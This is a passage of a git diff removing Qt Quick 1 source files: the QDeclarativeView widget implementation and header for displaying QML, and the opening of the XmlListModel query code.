Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/qdeclarativeview.h" - -#include -#include -#include -#include -#include -#include - -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -QT_BEGIN_NAMESPACE - -DEFINE_BOOL_CONFIG_OPTION(frameRateDebug, QML_SHOW_FRAMERATE) - -class QDeclarative1Scene : public QGraphicsScene -{ -public: - QDeclarative1Scene(QObject *parent = 0); - -protected: - virtual void keyPressEvent(QKeyEvent *); - virtual void keyReleaseEvent(QKeyEvent *); - - virtual void mouseMoveEvent(QGraphicsSceneMouseEvent *); - virtual void mousePressEvent(QGraphicsSceneMouseEvent *); - virtual void mouseReleaseEvent(QGraphicsSceneMouseEvent *); -}; - -QDeclarative1Scene::QDeclarative1Scene(QObject *parent) : QGraphicsScene(parent) -{ -} - -void QDeclarative1Scene::keyPressEvent(QKeyEvent *e) -{ - QDeclarativeDebugTrace::addEvent(QDeclarativeDebugTrace::Key); - - QGraphicsScene::keyPressEvent(e); -} - -void QDeclarative1Scene::keyReleaseEvent(QKeyEvent *e) -{ - QDeclarativeDebugTrace::addEvent(QDeclarativeDebugTrace::Key); - - QGraphicsScene::keyReleaseEvent(e); -} - -void QDeclarative1Scene::mouseMoveEvent(QGraphicsSceneMouseEvent *e) -{ - QDeclarativeDebugTrace::addEvent(QDeclarativeDebugTrace::Mouse); - - QGraphicsScene::mouseMoveEvent(e); -} - -void QDeclarative1Scene::mousePressEvent(QGraphicsSceneMouseEvent *e) -{ - QDeclarativeDebugTrace::addEvent(QDeclarativeDebugTrace::Mouse); - - QGraphicsScene::mousePressEvent(e); -} - -void QDeclarative1Scene::mouseReleaseEvent(QGraphicsSceneMouseEvent *e) -{ - QDeclarativeDebugTrace::addEvent(QDeclarativeDebugTrace::Mouse); - - QGraphicsScene::mouseReleaseEvent(e); -} - -class QDeclarativeViewPrivate : public QGraphicsViewPrivate, public QDeclarativeItemChangeListener -{ - Q_DECLARE_PUBLIC(QDeclarativeView) -public: - QDeclarativeViewPrivate() - : root(0), declarativeItemRoot(0), graphicsWidgetRoot(0), component(0), - resizeMode(QDeclarativeView::SizeViewToRootObject), initialSize(0,0) {} - ~QDeclarativeViewPrivate() { delete root; delete engine; } - void execute(); - void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry); - void initResize(); - void updateSize(); - inline QSize rootObjectSize() const; - - QDeclarativeGuard root; - QDeclarativeGuard declarativeItemRoot; - QDeclarativeGuard graphicsWidgetRoot; - - QUrl source; - - QDeclarativeEngine* engine; - QDeclarativeComponent *component; - QBasicTimer resizetimer; - - QDeclarativeView::ResizeMode resizeMode; - QSize initialSize; - QElapsedTimer frameTimer; - - void init(); -}; - -void QDeclarativeViewPrivate::execute() -{ - Q_Q(QDeclarativeView); - if (root) { - delete root; - root = 0; - } - if (component) { - delete component; - component = 0; - } - if (!source.isEmpty()) { - component = new QDeclarativeComponent(engine, source, q); - if (!component->isLoading()) { - q->continueExecute(); - } else { - QObject::connect(component, SIGNAL(statusChanged(QDeclarativeComponent::Status)), q, SLOT(continueExecute())); - } - } -} - -void QDeclarativeViewPrivate::itemGeometryChanged(QDeclarativeItem *resizeItem, const QRectF &newGeometry, const QRectF &oldGeometry) -{ - Q_Q(QDeclarativeView); - if (resizeItem == root && resizeMode == QDeclarativeView::SizeViewToRootObject) { - // wait for both width and height to be changed - resizetimer.start(0,q); - } - QDeclarativeItemChangeListener::itemGeometryChanged(resizeItem, newGeometry, oldGeometry); -} - -/*! - \class QDeclarativeView - \since QtQuick 1.0 - \brief The QDeclarativeView class provides a widget for displaying a Qt Declarative user interface. - - QDeclarativeItem objects can be placed on a standard QGraphicsScene and - displayed with QGraphicsView. QDeclarativeView is a QGraphicsView subclass - provided as a convenience for displaying QML files, and connecting between - QML and C++ Qt objects. - - QDeclarativeView provides: - - \list - \o Management of QDeclarativeComponent loading and object creation - \o Initialization of QGraphicsView for optimal performance with QML using these settings: - \list - \o QGraphicsView::setOptimizationFlags(QGraphicsView::DontSavePainterState) - \o QGraphicsView::setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate) - \o QGraphicsScene::setItemIndexMethod(QGraphicsScene::NoIndex) - \endlist - \o Initialization of QGraphicsView for QML key handling using these settings: - \list - \o QGraphicsView::viewport()->setFocusPolicy(Qt::NoFocus) - \o QGraphicsView::setFocusPolicy(Qt::StrongFocus) - \o QGraphicsScene::setStickyFocus(true) - \endlist - \endlist - - Typical usage: - - \code - QDeclarativeView *view = new QDeclarativeView; - view->setSource(QUrl::fromLocalFile("myqmlfile.qml")); - view->show(); - \endcode - - Since QDeclarativeView is a QWidget-based class, it can be used to - display QML interfaces within QWidget-based GUI applications that do not - use the Graphics View framework. - - To receive errors related to loading and executing QML with QDeclarativeView, - you can connect to the statusChanged() signal and monitor for QDeclarativeView::Error. - The errors are available via QDeclarativeView::errors(). - - If you're using your own QGraphicsScene-based scene with QDeclarativeView, remember to - enable scene's sticky focus mode and to set itemIndexMethod to QGraphicsScene::NoIndex. - - \sa {Integrating QML Code with Existing Qt UI Code}, {Using QML Bindings in C++ Applications} -*/ - - -/*! \fn void QDeclarativeView::sceneResized(QSize size) - This signal is emitted when the view is resized to \a size. -*/ - -/*! \fn void QDeclarativeView::statusChanged(QDeclarativeView::Status status) - This signal is emitted when the component's current \a status changes. -*/ - -/*! \fn void QDeclarativeView::initialSizeChanged(QSize size) - \internal -*/ - -/*! - \fn QDeclarativeView::QDeclarativeView(QWidget *parent) - - Constructs a QDeclarativeView with the given \a parent. -*/ -QDeclarativeView::QDeclarativeView(QWidget *parent) - : QGraphicsView(*(new QDeclarativeViewPrivate), parent) -{ - Q_D(QDeclarativeView); - setSizePolicy(QSizePolicy::Preferred,QSizePolicy::Preferred); - d->init(); -} - -/*! - \fn QDeclarativeView::QDeclarativeView(const QUrl &source, QWidget *parent) - - Constructs a QDeclarativeView with the given QML \a source and \a parent. -*/ -QDeclarativeView::QDeclarativeView(const QUrl &source, QWidget *parent) - : QGraphicsView(*(new QDeclarativeViewPrivate), parent) -{ - Q_D(QDeclarativeView); - setSizePolicy(QSizePolicy::Preferred,QSizePolicy::Preferred); - d->init(); - setSource(source); -} - -void QDeclarativeViewPrivate::init() -{ - Q_Q(QDeclarativeView); - engine = new QDeclarativeEngine(); - q->setScene(new QDeclarative1Scene(q)); - - q->setOptimizationFlags(QGraphicsView::DontSavePainterState); - q->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff); - q->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff); - q->setFrameStyle(0); - - // These seem to give the best performance - q->setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate); - q->scene()->setItemIndexMethod(QGraphicsScene::NoIndex); - q->viewport()->setFocusPolicy(Qt::NoFocus); - q->setFocusPolicy(Qt::StrongFocus); - - q->scene()->setStickyFocus(true); //### needed for correct focus handling - -#ifdef QDECLARATIVEVIEW_NOBACKGROUND - q->setAttribute(Qt::WA_OpaquePaintEvent); - q->setAttribute(Qt::WA_NoSystemBackground); - q->viewport()->setAttribute(Qt::WA_OpaquePaintEvent); - q->viewport()->setAttribute(Qt::WA_NoSystemBackground); -#endif - - if (QDeclarativeDebugService::isDebuggingEnabled()) - QDeclarativeInspectorService::instance()->addView(q); -} - -/*! - Destroys the view. - */ -QDeclarativeView::~QDeclarativeView() -{ - if (QDeclarativeDebugService::isDebuggingEnabled()) - QDeclarativeInspectorService::instance()->removeView(this); -} - -/*! \property QDeclarativeView::source - \brief The URL of the source of the QML component. - - Changing this property causes the QML component to be reloaded. - - Ensure that the URL provided is full and correct, in particular, use - \l QUrl::fromLocalFile() when loading a file from the local filesystem. - */ - -/*! - Sets the source to the \a url, loads the QML component and instantiates it. - - Ensure that the URL provided is full and correct, in particular, use - \l QUrl::fromLocalFile() when loading a file from the local filesystem. - - Calling this methods multiple times with the same url will result - in the QML being reloaded. - */ -void QDeclarativeView::setSource(const QUrl& url) -{ - Q_D(QDeclarativeView); - d->source = url; - d->execute(); -} - -/*! - Returns the source URL, if set. - - \sa setSource() - */ -QUrl QDeclarativeView::source() const -{ - Q_D(const QDeclarativeView); - return d->source; -} - -/*! - Returns a pointer to the QDeclarativeEngine used for instantiating - QML Components. - */ -QDeclarativeEngine* QDeclarativeView::engine() const -{ - Q_D(const QDeclarativeView); - return d->engine; -} - -/*! - This function returns the root of the context hierarchy. Each QML - component is instantiated in a QDeclarativeContext. QDeclarativeContext's are - essential for passing data to QML components. In QML, contexts are - arranged hierarchically and this hierarchy is managed by the - QDeclarativeEngine. - */ -QDeclarativeContext* QDeclarativeView::rootContext() const -{ - Q_D(const QDeclarativeView); - return d->engine->rootContext(); -} - -/*! - \enum QDeclarativeView::Status - Specifies the loading status of the QDeclarativeView. - - \value Null This QDeclarativeView has no source set. - \value Ready This QDeclarativeView has loaded and created the QML component. - \value Loading This QDeclarativeView is loading network data. - \value Error One or more errors has occurred. Call errors() to retrieve a list - of errors. -*/ - -/*! \enum QDeclarativeView::ResizeMode - - This enum specifies how to resize the view. - - \value SizeViewToRootObject The view resizes with the root item in the QML. - \value SizeRootObjectToView The view will automatically resize the root item to the size of the view. -*/ - -/*! - \property QDeclarativeView::status - The component's current \l{QDeclarativeView::Status} {status}. -*/ - -QDeclarativeView::Status QDeclarativeView::status() const -{ - Q_D(const QDeclarativeView); - if (!d->component) - return QDeclarativeView::Null; - - return QDeclarativeView::Status(d->component->status()); -} - -/*! - Return the list of errors that occurred during the last compile or create - operation. When the status is not Error, an empty list is returned. -*/ -QList QDeclarativeView::errors() const -{ - Q_D(const QDeclarativeView); - if (d->component) - return d->component->errors(); - return QList(); -} - -/*! - \property QDeclarativeView::resizeMode - \brief whether the view should resize the canvas contents - - If this property is set to SizeViewToRootObject (the default), the view - resizes with the root item in the QML. - - If this property is set to SizeRootObjectToView, the view will - automatically resize the root item. - - Regardless of this property, the sizeHint of the view - is the initial size of the root item. Note though that - since QML may load dynamically, that size may change. -*/ - -void QDeclarativeView::setResizeMode(ResizeMode mode) -{ - Q_D(QDeclarativeView); - if (d->resizeMode == mode) - return; - - if (d->declarativeItemRoot) { - if (d->resizeMode == SizeViewToRootObject) { - QDeclarativeItemPrivate *p = - static_cast(QGraphicsItemPrivate::get(d->declarativeItemRoot)); - p->removeItemChangeListener(d, QDeclarativeItemPrivate::Geometry); - } - } else if (d->graphicsWidgetRoot) { - if (d->resizeMode == QDeclarativeView::SizeViewToRootObject) { - d->graphicsWidgetRoot->removeEventFilter(this); - } - } - - d->resizeMode = mode; - if (d->root) { - d->initResize(); - } -} - -void QDeclarativeViewPrivate::initResize() -{ - Q_Q(QDeclarativeView); - if (declarativeItemRoot) { - if (resizeMode == QDeclarativeView::SizeViewToRootObject) { - QDeclarativeItemPrivate *p = - static_cast(QGraphicsItemPrivate::get(declarativeItemRoot)); - p->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry); - } - } else if (graphicsWidgetRoot) { - if (resizeMode == QDeclarativeView::SizeViewToRootObject) { - graphicsWidgetRoot->installEventFilter(q); - } - } - updateSize(); -} - -void QDeclarativeViewPrivate::updateSize() -{ - Q_Q(QDeclarativeView); - if (!root) - return; - if (declarativeItemRoot) { - if (resizeMode == QDeclarativeView::SizeViewToRootObject) { - QSize newSize = QSize(declarativeItemRoot->width(), declarativeItemRoot->height()); - if (newSize.isValid() && newSize != q->size()) { - q->resize(newSize); - } - } else if (resizeMode == QDeclarativeView::SizeRootObjectToView) { - if (!qFuzzyCompare(q->width(), declarativeItemRoot->width())) - declarativeItemRoot->setWidth(q->width()); - if (!qFuzzyCompare(q->height(), declarativeItemRoot->height())) - declarativeItemRoot->setHeight(q->height()); - } - } else if (graphicsWidgetRoot) { - if (resizeMode == QDeclarativeView::SizeViewToRootObject) { - QSize newSize = QSize(graphicsWidgetRoot->size().width(), graphicsWidgetRoot->size().height()); - if (newSize.isValid() && newSize != q->size()) { - q->resize(newSize); - } - } else if (resizeMode == QDeclarativeView::SizeRootObjectToView) { - QSizeF newSize = QSize(q->size().width(), q->size().height()); - if (newSize.isValid() && newSize != graphicsWidgetRoot->size()) { - graphicsWidgetRoot->resize(newSize); - } - } - } - q->updateGeometry(); -} - -QSize QDeclarativeViewPrivate::rootObjectSize() const -{ - QSize rootObjectSize(0,0); - int widthCandidate = -1; - int heightCandidate = -1; - if (root) { - QSizeF size = root->boundingRect().size(); - widthCandidate = size.width(); - heightCandidate = size.height(); - } - if (widthCandidate > 0) { - rootObjectSize.setWidth(widthCandidate); - } - if (heightCandidate > 0) { - rootObjectSize.setHeight(heightCandidate); - } - return rootObjectSize; -} - -QDeclarativeView::ResizeMode QDeclarativeView::resizeMode() const -{ - Q_D(const QDeclarativeView); - return d->resizeMode; -} - -/*! - \internal - */ -void QDeclarativeView::continueExecute() -{ - Q_D(QDeclarativeView); - disconnect(d->component, SIGNAL(statusChanged(QDeclarativeComponent::Status)), this, SLOT(continueExecute())); - - if (d->component->isError()) { - QList errorList = d->component->errors(); - foreach (const QDeclarativeError &error, errorList) { - qWarning() << error; - } - emit statusChanged(status()); - return; - } - - QObject *obj = d->component->create(); - - if(d->component->isError()) { - QList errorList = d->component->errors(); - foreach (const QDeclarativeError &error, errorList) { - qWarning() << error; - } - emit statusChanged(status()); - return; - } - - setRootObject(obj); - emit statusChanged(status()); -} - -/*! - \internal -*/ -void QDeclarativeView::setRootObject(QObject *obj) -{ - Q_D(QDeclarativeView); - if (d->root == obj || !scene()) - return; - if (QDeclarativeItem *declarativeItem = qobject_cast(obj)) { - scene()->addItem(declarativeItem); - d->root = declarativeItem; - d->declarativeItemRoot = declarativeItem; - } else if (QGraphicsObject *graphicsObject = qobject_cast(obj)) { - scene()->addItem(graphicsObject); - d->root = graphicsObject; - if (graphicsObject->isWidget()) { - d->graphicsWidgetRoot = static_cast(graphicsObject); - } else { - qWarning() << "QDeclarativeView::resizeMode is not honored for components of type QGraphicsObject"; - } - } else if (obj) { - qWarning() << "QDeclarativeView only supports loading of root objects that derive from QGraphicsObject"; - if (QWidget* widget = qobject_cast(obj)) { - window()->setAttribute(Qt::WA_OpaquePaintEvent, false); - window()->setAttribute(Qt::WA_NoSystemBackground, false); - if (layout() && layout()->count()) { - // Hide the QGraphicsView in GV mode. - QLayoutItem *item = layout()->itemAt(0); - if (item->widget()) - item->widget()->hide(); - } - widget->setParent(this); - if (isVisible()) { - widget->setVisible(true); - } - resize(widget->size()); - }else{ - delete obj; - } - } - - if (d->root) { - d->initialSize = d->rootObjectSize(); - if ((d->resizeMode == QDeclarativeView::SizeViewToRootObject || !testAttribute(Qt::WA_Resized)) - && d->initialSize != size()) { - if (!(parentWidget() && parentWidget()->layout())) { - resize(d->initialSize); - } - } - emit initialSizeChanged(d->initialSize); - d->initResize(); - } -} - -/*! - \internal - If the \l {QTimerEvent} {timer event} \a e is this - view's resize timer, sceneResized() is emitted. - */ -void QDeclarativeView::timerEvent(QTimerEvent* e) -{ - Q_D(QDeclarativeView); - if (!e || e->timerId() == d->resizetimer.timerId()) { - d->updateSize(); - d->resizetimer.stop(); - } -} - -/*! \internal */ -bool QDeclarativeView::eventFilter(QObject *watched, QEvent *e) -{ - Q_D(QDeclarativeView); - if (watched == d->root && d->resizeMode == SizeViewToRootObject) { - if (d->graphicsWidgetRoot) { - if (e->type() == QEvent::GraphicsSceneResize) { - d->updateSize(); - } - } - } - return QGraphicsView::eventFilter(watched, e); -} - -/*! - \internal - Preferred size follows the root object geometry. -*/ -QSize QDeclarativeView::sizeHint() const -{ - Q_D(const QDeclarativeView); - QSize rootObjectSize = d->rootObjectSize(); - if (rootObjectSize.isEmpty()) { - return size(); - } else { - return rootObjectSize; - } -} - -/*! - Returns the initial size of the root object -*/ -QSize QDeclarativeView::initialSize() const -{ - Q_D(const QDeclarativeView); - return d->initialSize; -} - -/*! - Returns the view's root \l {QGraphicsObject} {item}. - */ -QGraphicsObject *QDeclarativeView::rootObject() const -{ - Q_D(const QDeclarativeView); - return d->root; -} - -/*! - \internal - This function handles the \l {QResizeEvent} {resize event} - \a e. - */ -void QDeclarativeView::resizeEvent(QResizeEvent *e) -{ - Q_D(QDeclarativeView); - if (d->resizeMode == SizeRootObjectToView) { - d->updateSize(); - } - if (d->declarativeItemRoot) { - setSceneRect(QRectF(0, 0, d->declarativeItemRoot->width(), d->declarativeItemRoot->height())); - } else if (d->root) { - setSceneRect(d->root->boundingRect()); - } else { - setSceneRect(rect()); - } - emit sceneResized(e->size()); - QGraphicsView::resizeEvent(e); -} - -/*! - \internal -*/ -void QDeclarativeView::paintEvent(QPaintEvent *event) -{ - Q_D(QDeclarativeView); - - QDeclarativeDebugTrace::addEvent(QDeclarativeDebugTrace::FramePaint); - QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Painting); - - int time = 0; - if (frameRateDebug()) - time = d->frameTimer.restart(); - - QGraphicsView::paintEvent(event); - - QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Painting); - - if (frameRateDebug()) - qDebug() << "paintEvent:" << d->frameTimer.elapsed() << "time since last frame:" << time; - -#if QT_SHOW_DECLARATIVEVIEW_FPS - static QTime timer; - static int frames; - - if (frames == 0) { - timer.start(); - } else if (timer.elapsed() > 5000) { - qreal avgtime = timer.elapsed() / (qreal) frames; - qDebug("Average time per frame: %f ms (%i fps)", avgtime, int(1000 / avgtime)); - timer.start(); - frames = 0; - } - ++frames; - scene()->update(); -#endif - -} - -QDeclarativeItem * QDeclarativeView::accessibleRootItem() const -{ - Q_D(const QDeclarativeView); - return d->declarativeItemRoot; -} - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativeview.h b/src/qtquick1/util/qdeclarativeview.h deleted file mode 100644 index 9ffae9c950..0000000000 --- a/src/qtquick1/util/qdeclarativeview.h +++ /dev/null @@ -1,125 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEVIEW_H -#define QDECLARATIVEVIEW_H - -#include -#include -#include -#include -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -class QGraphicsObject; -class QDeclarativeEngine; -class QDeclarativeContext; -class QDeclarativeError; -class QDeclarativeItem; - - -class QDeclarativeViewPrivate; -class Q_QTQUICK1_EXPORT QDeclarativeView : public QGraphicsView -{ - Q_OBJECT - Q_PROPERTY(ResizeMode resizeMode READ resizeMode WRITE setResizeMode) - Q_PROPERTY(Status status READ status NOTIFY statusChanged) - Q_PROPERTY(QUrl source READ source WRITE setSource DESIGNABLE true) - Q_ENUMS(ResizeMode Status) -public: - explicit QDeclarativeView(QWidget *parent = 0); - QDeclarativeView(const QUrl &source, QWidget *parent = 0); - virtual ~QDeclarativeView(); - - QUrl source() const; - - QDeclarativeEngine* engine() const; - QDeclarativeContext* rootContext() const; - - QGraphicsObject *rootObject() const; - - enum ResizeMode { SizeViewToRootObject, SizeRootObjectToView }; - ResizeMode resizeMode() const; - void setResizeMode(ResizeMode); - - enum Status { Null, Ready, Loading, Error }; - Status status() const; - - QList errors() const; - - QSize sizeHint() const; - QSize initialSize() const; - -public Q_SLOTS: - void setSource(const QUrl&); - -Q_SIGNALS: - void sceneResized(QSize size); // ??? - void statusChanged(QDeclarativeView::Status); - void initialSizeChanged(QSize size); - -private Q_SLOTS: - void continueExecute(); - -protected: - virtual void resizeEvent(QResizeEvent *); - virtual void paintEvent(QPaintEvent *event); - virtual void timerEvent(QTimerEvent*); - virtual void setRootObject(QObject *obj); - virtual bool eventFilter(QObject *watched, QEvent *e); - -private: - Q_DISABLE_COPY(QDeclarativeView) - Q_DECLARE_PRIVATE(QDeclarativeView) -// Accessibility support: - friend class QAccessibleDeclarativeView; - QDeclarativeItem *accessibleRootItem() const; -}; - -QT_END_NAMESPACE - -QT_END_HEADER - -#endif // QDECLARATIVEVIEW_H diff --git a/src/qtquick1/util/qdeclarativexmllistmodel.cpp b/src/qtquick1/util/qdeclarativexmllistmodel.cpp deleted file mode 100644 index 28b134456d..0000000000 --- a/src/qtquick1/util/qdeclarativexmllistmodel.cpp +++ /dev/null @@ -1,1060 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativexmllistmodel_p.h" - -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include - -Q_DECLARE_METATYPE(QDeclarative1XmlQueryResult) - -QT_BEGIN_NAMESPACE - - - - -typedef QPair QDeclarative1XmlListRange; - -#define XMLLISTMODEL_CLEAR_ID 0 - -/*! - \qmlclass XmlRole QDeclarative1XmlListModelRole - \inqmlmodule QtQuick 1 - \ingroup qml-working-with-data - \since QtQuick 1.0 - \brief The XmlRole element allows you to specify a role for an XmlListModel. - - \sa {QtDeclarative} -*/ - -/*! - \qmlproperty string QtQuick1::XmlRole::name - - The name for the role. This name is used to access the model data for this role. - - For example, the following model has a role named "title", which can be accessed - from the view's delegate: - - \qml - XmlListModel { - id: xmlModel - // ... - XmlRole { - name: "title" - query: "title/string()" - } - } - \endqml - - \qml - ListView { - model: xmlModel - delegate: Text { text: title } - } - \endqml -*/ - -/*! - \qmlproperty string QtQuick1::XmlRole::query - The relative XPath expression query for this role. The query must be relative; it cannot start - with a '/'. - - For example, if there is an XML document like this: - - \quotefile doc/src/snippets/qtquick1/xmlrole.xml - - Here are some valid XPath expressions for XmlRole queries on this document: - - \snippet doc/src/snippets/qtquick1/xmlrole.qml 0 - \dots 4 - \snippet doc/src/snippets/qtquick1/xmlrole.qml 1 - - See the \l{http://www.w3.org/TR/xpath20/}{W3C XPath 2.0 specification} for more information. -*/ - -/*! - \qmlproperty bool QtQuick1::XmlRole::isKey - Defines whether this is a key role. - - Key roles are used to to determine whether a set of values should - be updated or added to the XML list model when XmlListModel::reload() - is called. - - \sa XmlListModel -*/ - -struct XmlQueryJob -{ - int queryId; - QByteArray data; - QString query; - QString namespaces; - QStringList roleQueries; - QList roleQueryErrorId; // the ptr to send back if there is an error - QStringList keyRoleQueries; - QStringList keyRoleResultsCache; - QString prefix; -}; - -class QDeclarative1XmlQuery : public QObject -{ - Q_OBJECT -public: - QDeclarative1XmlQuery(QObject *parent=0) - : QObject(parent), m_queryIds(XMLLISTMODEL_CLEAR_ID + 1) { - qRegisterMetaType("QDeclarative1XmlQueryResult"); - moveToThread(&m_thread); - m_thread.start(QThread::IdlePriority); - } - - ~QDeclarative1XmlQuery() { - if(m_thread.isRunning()) { - m_thread.quit(); - m_thread.wait(); - } - } - - void abort(int id) { - QMutexLocker ml(&m_mutex); - if (id != -1) { - m_jobs.remove(id); - } - } - - int doQuery(QString query, QString namespaces, QByteArray data, QList* roleObjects, QStringList keyRoleResultsCache) { - { - QMutexLocker m1(&m_mutex); - m_queryIds.ref(); - if (m_queryIds.load() <= 0) - m_queryIds.store(1); - } - - XmlQueryJob job; - job.queryId = m_queryIds.load(); - job.data = data; - job.query = QLatin1String("doc($src)") + query; - job.namespaces = namespaces; - job.keyRoleResultsCache = keyRoleResultsCache; - - for (int i=0; icount(); i++) { - if (!roleObjects->at(i)->isValid()) { - job.roleQueries << QString(); - continue; - } - job.roleQueries << roleObjects->at(i)->query(); - job.roleQueryErrorId << static_cast(roleObjects->at(i)); - if (roleObjects->at(i)->isKey()) - job.keyRoleQueries << job.roleQueries.last(); - } - - { - QMutexLocker ml(&m_mutex); - m_jobs.insert(m_queryIds.load(), job); - } - - QMetaObject::invokeMethod(this, "processQuery", Qt::QueuedConnection, Q_ARG(int, job.queryId)); - return job.queryId; - } - -private slots: - void processQuery(int queryId) { - XmlQueryJob job; - - { - QMutexLocker ml(&m_mutex); - if (!m_jobs.contains(queryId)) - return; - job = m_jobs.value(queryId); - } - - QDeclarative1XmlQueryResult result; - result.queryId = job.queryId; - doQueryJob(&job, &result); - doSubQueryJob(&job, &result); - - { - QMutexLocker ml(&m_mutex); - if (m_jobs.contains(queryId)) { - emit queryCompleted(result); - m_jobs.remove(queryId); - } - } - } - -Q_SIGNALS: - void queryCompleted(const QDeclarative1XmlQueryResult &); - void error(void*, const QString&); - -protected: - - -private: - void doQueryJob(XmlQueryJob *job, QDeclarative1XmlQueryResult *currentResult); - void doSubQueryJob(XmlQueryJob *job, QDeclarative1XmlQueryResult *currentResult); - void getValuesOfKeyRoles(const XmlQueryJob& currentJob, QStringList *values, QXmlQuery *query) const; - void addIndexToRangeList(QList *ranges, int index) const; - -private: - QMutex m_mutex; - QThread m_thread; - QMap m_jobs; - QAtomicInt m_queryIds; -}; - -Q_GLOBAL_STATIC(QDeclarative1XmlQuery, globalXmlQuery) - -void QDeclarative1XmlQuery::doQueryJob(XmlQueryJob *currentJob, QDeclarative1XmlQueryResult *currentResult) -{ - Q_ASSERT(currentJob->queryId != -1); - - QString r; - QXmlQuery query; - QBuffer buffer(¤tJob->data); - buffer.open(QIODevice::ReadOnly); - query.bindVariable(QLatin1String("src"), &buffer); - query.setQuery(currentJob->namespaces + currentJob->query); - query.evaluateTo(&r); - - //always need a single root element - QByteArray xml = "\n" + r.toUtf8() + ""; - QBuffer b(&xml); - b.open(QIODevice::ReadOnly); - - QString namespaces = QLatin1String("declare namespace dummy=\"http://qtsotware.com/dummy\";\n") + currentJob->namespaces; - QString prefix = QLatin1String("doc($inputDocument)/dummy:items") + - currentJob->query.mid(currentJob->query.lastIndexOf(QLatin1Char('/'))); - - //figure out how many items we are dealing with - int count = -1; - { - QXmlResultItems result; - QXmlQuery countquery; - countquery.bindVariable(QLatin1String("inputDocument"), &b); - countquery.setQuery(namespaces + QLatin1String("count(") + prefix + QLatin1Char(')')); - countquery.evaluateTo(&result); - QXmlItem item(result.next()); - if (item.isAtomicValue()) - count = item.toAtomicValue().toInt(); - } - - currentJob->data = xml; - currentJob->prefix = namespaces + prefix + QLatin1Char('/'); - currentResult->size = (count > 0 ? count : 0); -} - -void QDeclarative1XmlQuery::getValuesOfKeyRoles(const XmlQueryJob& currentJob, QStringList *values, QXmlQuery *query) const -{ - const QStringList &keysQueries = currentJob.keyRoleQueries; - QString keysQuery; - if (keysQueries.count() == 1) - keysQuery = currentJob.prefix + keysQueries[0]; - else if (keysQueries.count() > 1) - keysQuery = currentJob.prefix + QLatin1String("concat(") + keysQueries.join(QLatin1String(",")) + QLatin1String(")"); - - if (!keysQuery.isEmpty()) { - query->setQuery(keysQuery); - QXmlResultItems resultItems; - query->evaluateTo(&resultItems); - QXmlItem item(resultItems.next()); - while (!item.isNull()) { - values->append(item.toAtomicValue().toString()); - item = resultItems.next(); - } - } -} - -void QDeclarative1XmlQuery::addIndexToRangeList(QList *ranges, int index) const { - if (ranges->isEmpty()) - ranges->append(qMakePair(index, 1)); - else if (ranges->last().first + ranges->last().second == index) - ranges->last().second += 1; - else - ranges->append(qMakePair(index, 1)); -} - -void QDeclarative1XmlQuery::doSubQueryJob(XmlQueryJob *currentJob, QDeclarative1XmlQueryResult *currentResult) -{ - Q_ASSERT(currentJob->queryId != -1); - - QBuffer b(¤tJob->data); - 